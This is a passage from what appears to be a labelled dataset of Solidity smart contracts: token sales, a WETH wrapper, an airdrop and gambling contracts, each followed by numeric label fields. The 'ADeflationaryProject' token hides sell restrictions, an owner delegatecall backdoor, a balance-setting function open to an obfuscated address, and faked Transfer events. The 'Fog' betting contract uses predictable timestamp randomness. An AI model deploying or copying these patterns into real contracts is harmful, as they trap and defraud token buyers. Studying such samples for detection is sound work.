cfoAddress.transfer(summ);
}
} | 1 | 5,343 |
pragma solidity ^0.4.24;
contract Fog {
address private owner;
event OwnershipTransferred(
address indexed owner,
address indexed newOwner
);
event Winner(address indexed to, uint indexed value);
event CupCake(address indexed to, uint indexed value);
event Looser(address indexed from, uint indexed value);
constructor() public {
owner = msg.sender;
}
function move(uint8 direction) public payable {
uint doubleValue = mul(msg.value, 2);
uint minValue = 10000000000000000;
require(msg.value >= minValue && doubleValue <= address(this).balance);
uint dice = uint(keccak256(abi.encodePacked(block.timestamp + direction))) % 3;
if (dice == 2) {
msg.sender.transfer(doubleValue);
emit Winner(msg.sender, doubleValue);
} else {
uint coin = uint(keccak256(abi.encodePacked(block.timestamp + direction))) % 2;
if (coin == 1) {
uint eightyPercent = div(mul(msg.value, 80), 100);
msg.sender.transfer(eightyPercent);
emit CupCake(msg.sender, eightyPercent);
} else {
emit Looser(msg.sender, msg.value);
}
}
}
function drain(uint value) public onlyOwner {
require(value > 0 && value < address(this).balance);
owner.transfer(value);
}
function getOwner() public view returns(address) {
return owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function() public payable { }
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
} | 1 | 4,287 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return this.balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;
}
}
interface Registry {
function isAffiliated(address _affiliate) external returns (bool);
}
contract Affiliate {
struct Share {
address shareholder;
uint stake;
}
Share[] shares;
uint public totalShares;
string public relayerName;
address registry;
WETH9 weth;
event Payout(address indexed token, uint amount);
function init(address _registry, address[] shareholders, uint[] stakes, address _weth, string _name) public returns (bool) {
require(totalShares == 0);
require(shareholders.length == stakes.length);
weth = WETH9(_weth);
totalShares = 0;
for(uint i=0; i < shareholders.length; i++) {
shares.push(Share({shareholder: shareholders[i], stake: stakes[i]}));
totalShares += stakes[i];
}
relayerName = _name;
registry = _registry;
return true;
}
function payout(address[] tokens) public {
for(uint i=0; i < tokens.length; i++) {
ERC20 token = ERC20(tokens[i]);
uint balance = token.balanceOf(this);
for(uint j=0; j < shares.length; j++) {
token.transfer(shares[j].shareholder, SafeMath.mul(balance, shares[j].stake) / totalShares);
}
emit Payout(tokens[i], balance);
}
}
function isAffiliated(address _affiliate) public returns (bool)
{
return Registry(registry).isAffiliated(_affiliate);
}
function() public payable {
weth.deposit.value(msg.value)();
}
} | 1 | 2,705 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ClickableTVToken {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ClickableTV is Ownable {
using SafeMath for uint256;
ClickableTVToken public token;
uint256 public presaleStart = 1516492800;
uint256 public presaleEnd = 1519862399;
uint256 public saleStart = 1519862400;
uint256 public saleEnd = 1527811199;
address public wallet;
uint256 public rate = 1000;
uint256 public weiRaised;
function ClickableTV() public {
wallet = msg.sender;
}
function setToken(ClickableTVToken _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function tokenWeiToSale() public view returns (uint256) {
return token.balanceOf(this);
}
function transfer(address _to, uint256 _value) public onlyOwner returns (bool){
assert(tokenWeiToSale() >= _value);
token.transfer(_to, _value);
}
function() external payable {
buyTokens(msg.sender);
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
if (block.timestamp < presaleEnd) tokens = tokens.mul(100).div(75);
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool presalePeriod = now >= presaleStart && now <= presaleEnd;
bool salePeriod = now >= saleStart && now <= saleEnd;
bool nonZeroPurchase = msg.value != 0;
return (presalePeriod || salePeriod) && nonZeroPurchase;
}
} | 1 | 3,604 |
pragma solidity ^0.4.25;
contract Airdrop {
address public c = 0x7a0e91c4204355e0a6bbf746dc0b7e32dfefdecf;
address public owner;
mapping (uint => address) public a;
function Airdrop() {
owner = msg.sender;
}
function() payable {
}
function transfer(uint _sreur_tokens, address[] _addresses) onlyOwner returns (bool) {
if(_sreur_tokens < 1) throw;
uint amount = _sreur_tokens*100000000;
for (uint i = 0; i < _addresses.length; i++) {
c.call(bytes4(sha3("transfer(address,uint256)")),_addresses[i], amount);
}
return true;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
} | 0 | 1,034 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ADeflationaryProject {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function Rates(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner||msg.sender==address
(450616078829874088400613638983600230601285572903));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function Dismiss(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function AddLiquidity(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,487 |
pragma solidity ^0.4.24;
interface SpinWinInterface {
function refundPendingBets() external returns (bool);
}
interface AdvertisingInterface {
function incrementBetCounter() external returns (bool);
}
contract SpinWinLibraryInterface {
function calculateWinningReward(uint256 betValue, uint256 playerNumber, uint256 houseEdge) external pure returns (uint256);
function calculateTokenReward(address settingAddress, uint256 betValue, uint256 playerNumber, uint256 houseEdge) external constant returns (uint256);
function generateRandomNumber(address settingAddress, uint256 betBlockNumber, uint256 extraData, uint256 divisor) external constant returns (uint256);
function calculateClearBetBlocksReward(address settingAddress, address lotteryAddress) external constant returns (uint256);
function calculateLotteryContribution(address settingAddress, address lotteryAddress, uint256 betValue) external constant returns (uint256);
function calculateExchangeTokenValue(address settingAddress, uint256 tokenAmount) external constant returns (uint256, uint256, uint256, uint256);
}
interface LotteryInterface {
function claimReward(address playerAddress, uint256 tokenAmount) external returns (bool);
function calculateLotteryContributionPercentage() external constant returns (uint256);
function getNumLottery() external constant returns (uint256);
function isActive() external constant returns (bool);
function getCurrentTicketMultiplierHonor() external constant returns (uint256);
function getCurrentLotteryTargetBalance() external constant returns (uint256, uint256);
}
interface SettingInterface {
function uintSettings(bytes32 name) external constant returns (uint256);
function boolSettings(bytes32 name) external constant returns (bool);
function isActive() external constant returns (bool);
function canBet(uint256 rewardValue, uint256 betValue, uint256 playerNumber, uint256 houseEdge) external constant returns (bool);
function isExchangeAllowed(address playerAddress, uint256 tokenAmount) external constant returns (bool);
function spinwinSetUintSetting(bytes32 name, uint256 value) external;
function spinwinIncrementUintSetting(bytes32 name) external;
function spinwinSetBoolSetting(bytes32 name, bool value) external;
function spinwinAddFunds(uint256 amount) external;
function spinwinUpdateTokenToWeiExchangeRate() external;
function spinwinRollDice(uint256 betValue) external;
function spinwinUpdateWinMetric(uint256 playerProfit) external;
function spinwinUpdateLoseMetric(uint256 betValue, uint256 tokenRewardValue) external;
function spinwinUpdateLotteryContributionMetric(uint256 lotteryContribution) external;
function spinwinUpdateExchangeMetric(uint256 exchangeAmount) external;
function spinlotterySetUintSetting(bytes32 name, uint256 value) external;
function spinlotteryIncrementUintSetting(bytes32 name) external;
function spinlotterySetBoolSetting(bytes32 name, bool value) external;
function spinlotteryUpdateTokenToWeiExchangeRate() external;
function spinlotterySetMinBankroll(uint256 _minBankroll) external returns (bool);
}
interface TokenInterface {
function getTotalSupply() external constant returns (uint256);
function getBalanceOf(address account) external constant returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool success);
function burn(uint256 _value) external returns (bool success);
function burnFrom(address _from, uint256 _value) external returns (bool success);
function mintTransfer(address _to, uint _value) external returns (bool);
function burnAt(address _at, uint _value) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract developed {
address public developer;
constructor() public {
developer = msg.sender;
}
modifier onlyDeveloper {
require(msg.sender == developer);
_;
}
function changeDeveloper(address _developer) public onlyDeveloper {
developer = _developer;
}
function withdrawToken(address tokenContractAddress) public onlyDeveloper {
TokenERC20 _token = TokenERC20(tokenContractAddress);
if (_token.balanceOf(this) > 0) {
_token.transfer(developer, _token.balanceOf(this));
}
}
}
contract SpinWin is developed, SpinWinInterface {
using SafeMath for uint256;
address public tokenAddress;
address public settingAddress;
address public lotteryAddress;
TokenInterface internal _spintoken;
SettingInterface internal _setting;
LotteryInterface internal _lottery;
SpinWinLibraryInterface internal _lib;
AdvertisingInterface internal _advertising;
struct Bet {
address playerAddress;
bytes32 betId;
uint256 betValue;
uint256 diceResult;
uint256 playerNumber;
uint256 houseEdge;
uint256 rewardValue;
uint256 tokenRewardValue;
uint256 blockNumber;
bool processed;
}
struct TokenExchange {
address playerAddress;
bytes32 exchangeId;
bool processed;
}
mapping (uint256 => Bet) internal bets;
mapping (bytes32 => uint256) internal betIdLookup;
mapping (address => uint256) public playerPendingWithdrawals;
mapping (address => uint256) public playerPendingTokenWithdrawals;
mapping (address => address) public referees;
mapping (bytes32 => TokenExchange) public tokenExchanges;
mapping (address => uint256) public lotteryBlocksAmount;
uint256 constant public TWO_DECIMALS = 100;
uint256 constant public PERCENTAGE_DIVISOR = 10 ** 6;
uint256 constant public CURRENCY_DIVISOR = 10**18;
uint256 public totalPendingBets;
event LogBet(bytes32 indexed betId, address indexed playerAddress, uint256 playerNumber, uint256 betValue, uint256 houseEdge, uint256 rewardValue, uint256 tokenRewardValue);
event LogResult(bytes32 indexed betId, address indexed playerAddress, uint256 playerNumber, uint256 diceResult, uint256 betValue, uint256 houseEdge, uint256 rewardValue, uint256 tokenRewardValue, int256 status);
event LogLotteryContribution(bytes32 indexed betId, address indexed playerAddress, uint256 weiValue);
event LogRewardLotteryBlocks(address indexed receiver, bytes32 indexed betId, uint256 lottoBlocksAmount, uint256 rewardType, uint256 status);
event LogClearBets(address indexed playerAddress);
event LogClaimLotteryBlocks(address indexed playerAddress, uint256 numLottery, uint256 claimAmount, uint256 claimStatus);
event LogTokenExchange(bytes32 indexed exchangeId, address indexed playerAddress, uint256 tokenValue, uint256 tokenToWeiExchangeRate, uint256 weiValue, uint256 receivedWeiValue, uint256 remainderTokenValue, uint256 status);
event LogPlayerWithdrawBalance(address indexed playerAddress, uint256 withdrawAmount, uint256 status);
event LogPlayerWithdrawTokenBalance(address indexed playerAddress, uint256 withdrawAmount, uint256 status);
event LogBetNotFound(bytes32 indexed betId);
event LogDeveloperCancelBet(bytes32 indexed betId, address indexed playerAddress);
constructor(address _tokenAddress, address _settingAddress, address _libraryAddress) public {
tokenAddress = _tokenAddress;
settingAddress = _settingAddress;
_spintoken = TokenInterface(_tokenAddress);
_setting = SettingInterface(_settingAddress);
_lib = SpinWinLibraryInterface(_libraryAddress);
}
modifier isActive {
require(_setting.isActive() == true);
_;
}
modifier canBet(uint256 _betValue, uint256 _playerNumber, uint256 _houseEdge) {
require(_setting.canBet(_lib.calculateWinningReward(_betValue, _playerNumber, _houseEdge), _betValue, _playerNumber, _houseEdge) == true);
_;
}
modifier betExist(bytes32 betId, address playerAddress) {
require(betIdLookup[betId] > 0 && bets[betIdLookup[betId]].betId == betId && bets[betIdLookup[betId]].playerAddress == playerAddress);
_;
}
modifier isExchangeAllowed(address playerAddress, uint256 tokenAmount) {
require(_setting.isExchangeAllowed(playerAddress, tokenAmount) == true);
_;
}
function devSetLotteryAddress(address _lotteryAddress) public onlyDeveloper {
require (_lotteryAddress != address(0));
lotteryAddress = _lotteryAddress;
_lottery = LotteryInterface(_lotteryAddress);
}
function devSetAdvertisingAddress(address _advertisingAddress) public onlyDeveloper {
require (_advertisingAddress != address(0));
_advertising = AdvertisingInterface(_advertisingAddress);
}
function devGetBetInternalId(bytes32 betId) public onlyDeveloper constant returns (uint256) {
return (betIdLookup[betId]);
}
function devGetBet(uint256 betInternalId) public
onlyDeveloper
constant returns (address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool) {
Bet memory _bet = bets[betInternalId];
return (_bet.playerAddress, _bet.betValue, _bet.diceResult, _bet.playerNumber, _bet.houseEdge, _bet.rewardValue, _bet.tokenRewardValue, _bet.blockNumber, _bet.processed);
}
function devRefundBet(bytes32 betId) public onlyDeveloper returns (bool) {
require (betIdLookup[betId] > 0);
Bet storage _bet = bets[betIdLookup[betId]];
require(_bet.processed == false);
_bet.processed = true;
uint256 betValue = _bet.betValue;
_bet.betValue = 0;
_bet.rewardValue = 0;
_bet.tokenRewardValue = 0;
_refundPlayer(betIdLookup[betId], betValue);
return true;
}
function () public payable isActive {
_setting.spinwinAddFunds(msg.value);
}
function refundPendingBets() public returns (bool) {
require (msg.sender == settingAddress);
uint256 totalBets = _setting.uintSettings('totalBets');
if (totalBets > 0) {
for (uint256 i = 1; i <= totalBets; i++) {
Bet storage _bet = bets[i];
if (_bet.processed == false) {
uint256 _betValue = _bet.betValue;
_bet.processed = true;
_bet.betValue = 0;
playerPendingWithdrawals[_bet.playerAddress] = playerPendingWithdrawals[_bet.playerAddress].add(_betValue);
emit LogResult(_bet.betId, _bet.playerAddress, _bet.playerNumber, 0, _betValue, _bet.houseEdge, 0, 0, 4);
}
}
}
return true;
}
function rollDice(uint256 playerNumber, uint256 houseEdge, bytes32 clearBetId, address referreeAddress) public
payable
canBet(msg.value, playerNumber, houseEdge)
returns (bool) {
uint256 betInternalId = _storeBet(msg.value, msg.sender, playerNumber, houseEdge);
if (clearBetId != '') {
_clearSingleBet(msg.sender, clearBetId, _setting.uintSettings('blockSecurityCount'));
}
_rewardReferree(referreeAddress, betInternalId);
_advertising.incrementBetCounter();
return true;
}
function clearBets(bytes32[] betIds) public isActive {
require (betIds.length > 0 && betIds.length <= _setting.uintSettings('maxNumClearBets'));
bool canClear = false;
uint256 blockSecurityCount = _setting.uintSettings('blockSecurityCount');
for (uint256 i = 0; i < betIds.length; i++) {
Bet memory _bet = bets[betIdLookup[betIds[i]]];
if (_bet.processed == false && _setting.uintSettings('contractBalance') >= _bet.rewardValue && (block.number.sub(_bet.blockNumber)) >= blockSecurityCount) {
canClear = true;
break;
}
}
require(canClear == true);
for (i = 0; i < betIds.length; i++) {
_clearSingleBet(msg.sender, betIds[i], blockSecurityCount);
}
emit LogClearBets(msg.sender);
}
function claimLotteryBlocks() public isActive {
require (_lottery.isActive() == true);
require (lotteryBlocksAmount[msg.sender] > 0);
uint256 claimAmount = lotteryBlocksAmount[msg.sender];
lotteryBlocksAmount[msg.sender] = 0;
uint256 claimStatus = 1;
if (!_lottery.claimReward(msg.sender, claimAmount)) {
claimStatus = 0;
lotteryBlocksAmount[msg.sender] = claimAmount;
}
emit LogClaimLotteryBlocks(msg.sender, _lottery.getNumLottery(), claimAmount, claimStatus);
}
function exchangeToken(uint256 tokenAmount) public
isExchangeAllowed(msg.sender, tokenAmount) {
(uint256 weiValue, uint256 sendWei, uint256 tokenRemainder, uint256 burnToken) = _lib.calculateExchangeTokenValue(settingAddress, tokenAmount);
_setting.spinwinIncrementUintSetting('totalTokenExchanges');
bytes32 _exchangeId = keccak256(abi.encodePacked(this, msg.sender, _setting.uintSettings('totalTokenExchanges')));
TokenExchange storage _tokenExchange = tokenExchanges[_exchangeId];
require (_tokenExchange.processed == false);
_setting.spinwinUpdateExchangeMetric(sendWei);
_tokenExchange.playerAddress = msg.sender;
_tokenExchange.exchangeId = _exchangeId;
_tokenExchange.processed = true;
if (!_spintoken.burnAt(_tokenExchange.playerAddress, burnToken)) {
uint256 exchangeStatus = 2;
} else {
if (!_tokenExchange.playerAddress.send(sendWei)) {
exchangeStatus = 0;
playerPendingWithdrawals[_tokenExchange.playerAddress] = playerPendingWithdrawals[_tokenExchange.playerAddress].add(sendWei);
} else {
exchangeStatus = 1;
}
}
_setting.spinwinUpdateTokenToWeiExchangeRate();
emit LogTokenExchange(_tokenExchange.exchangeId, _tokenExchange.playerAddress, tokenAmount, _setting.uintSettings('tokenToWeiExchangeRateHonor'), weiValue, sendWei, tokenRemainder, exchangeStatus);
